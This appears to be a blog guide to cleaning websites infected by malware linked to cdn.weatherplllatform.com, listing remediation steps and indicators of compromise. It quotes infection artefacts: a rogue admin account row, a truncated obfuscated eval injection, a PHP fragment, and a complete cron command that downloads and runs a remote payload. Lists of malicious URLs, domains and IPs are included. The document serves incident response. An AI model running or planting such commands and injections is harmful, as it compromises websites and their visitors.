How to Remove cdn.weatherplllatform.com Malware

If your website is currently affected by cdn.weatherplllatform.com, most likely some of the local files are contaminated.
Today, after cleaning a website affected by this exact type of malware, I found out the following:

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  • Disable public access on the server & check other neighbor sites;
  • Perform a backup for each website;
  • Clean the sites manually, one by one, or purchase a cleanup plan;
  • If your hosting account holds more than 2 sites, consider better hosting to prevent cross-site contamination;
  • Apply updates & make sure all the site components are up to date & secure; and
  • Monitor the sites to notice any unusual behavior;

1. Malicious users with administrator privileges;

itsme','$P$BqPKFgMTAdxmIvuLuC8iBtt2okVOLY/','itsme','[email protected]','','2020-04-21 06:42:46','',0,'itsme

2. Infected Javascript files;

eval(String.fromCharCode(118,97,....,32,125/*spectrepoint*/));

3. PHP files with injected malicious code;

?php $PDvCBkdAp='y(3;]whcx)8$4mb dk1qog5sprlua

4. Malicious cronjobs added via cPanel interface, xxxd file execution;

wget -q -O xxxd http://hello.hellodolly777.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home/.../public_html 24 && rm -f xxxd

5. Backdoor files installed in random locations.

if (isset($_HEADERS['Authorization']))

Malicious URLs:
https://verify.weatherplllatform.com
https://record.findtrustclicks.com/state.js
https://go.weatherplllatform.com/track.php
https://news.weatherplllatform.com/counters.js?v=11.23
https://news.weatherplllatform.com/counter.js
https://news.weatherplllatform.com/stat.js?v=0.4.4444
https://main.weatherplllatform.com/cdn.js?v=1.3.9
https://go.weatherplllatform.com/fly/follow.js?v=3.7.3
https://main.weatherplllatform.com/webcdn.js?v=5.3.5
https://go.weatherplllatform.com/fly.php
https://pertiolanrokemi.tk/help/?23071650902120
https://cdn.weatherplllatform.com/events.js?v=2.141
https://cdn.weatherplllatform.com/result.js?v=000
https://away.bettershitecolumn.com/hit.php?a=1311&b=334-1166-567334-46
cdn.weatherplllatform[.]com/event.js?v=3.33
https://cdn.weatherplllatform.com/base.js?v=5.41

https://away.bettershitecolumn.com/speak.php?q=1311&w=334-1166-567334-46
https://away.cdnbestplatform.com/go.php?id=3245467-34-56736-11
https://walk.cdnbestplatform.com/jVMC9H

Malicious files injected or added: index.php, wp-story.php, wp-static.php.

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Malicious domains: 0.blueskymotions.net, 0.blueskymotions.com, greenskymotions.net, pertiolanrokemi.tk, 0.trackspecialsdomain.com, 0.trackspecialdomain.com, simple.cofounderspecials.com, scripts.cofounderspecials.com, weatherplllatform.com, bettershitecolumn.com, goldflowerservice.net, cawanmyoropurka.gq ( Cloudflare ), bluewellabs.live, broworker4s.com.

Malicious IPs: 45.9.148.27, 194.135.30.42, 141.95.174.47, 91.211.91.114, 185.177.94.108, 91.211.91.104, 89.22.228.250.

Cloudflare nameservers:
olivia.ns.cloudflare.com
rayden.ns.cloudflare.com

String.fromCharCode:
104,116,116,112,115,58,47,47,110,101,119,115,46,119,101,97,116,104,101,114,112,108,108,108,97,116,102,111,114,109,46,99,111,109,47,99,111,117,110,116,101,114,115,46,106,115,63,118,61,49,49,46,50,51
104,116,116,112,115,58,47,47,99,100,110,46,119,101,97,116,104,101,114,112,108,108,108,97,116,102,111,114,109,46,99,111,109,47,101,118,101,110,116,115,46,106,115,63,118,61,48,46,49,56,56
104, 116, 116, 112, 115, 58, 47, 47, 97, 119, 97, 121, 46, 98, 101, 116, 116, 101, 114, 115, 104, 105, 116, 101, 99, 111, 108, 117, 109, 110, 46, 99, 111, 109, 47, 115, 112, 101, 97, 107, 46, 112, 104, 112, 63, 113, 61, 49, 51, 49, 49, 38, 119, 61, 51, 51, 52, 45, 49, 49, 54, 54, 45, 53, 54, 55, 51, 51, 52, 45, 52, 54
104,116,116,112,115,58,47,47,99,100,110,46,119,101,97,116,104,101,114,112,108,108,108,97,116,102,111,114,109,46,99,111,109,47,114,101,115,117,108,116,46,106,115,63,118,61,48,48,48

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This survey is conducted to improve the services provided to our users, and your participation will be 100% rewarded!
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Previous cleanup guide:
https://guides.magefix.com/2022/09/away-bettershitecolumn-com/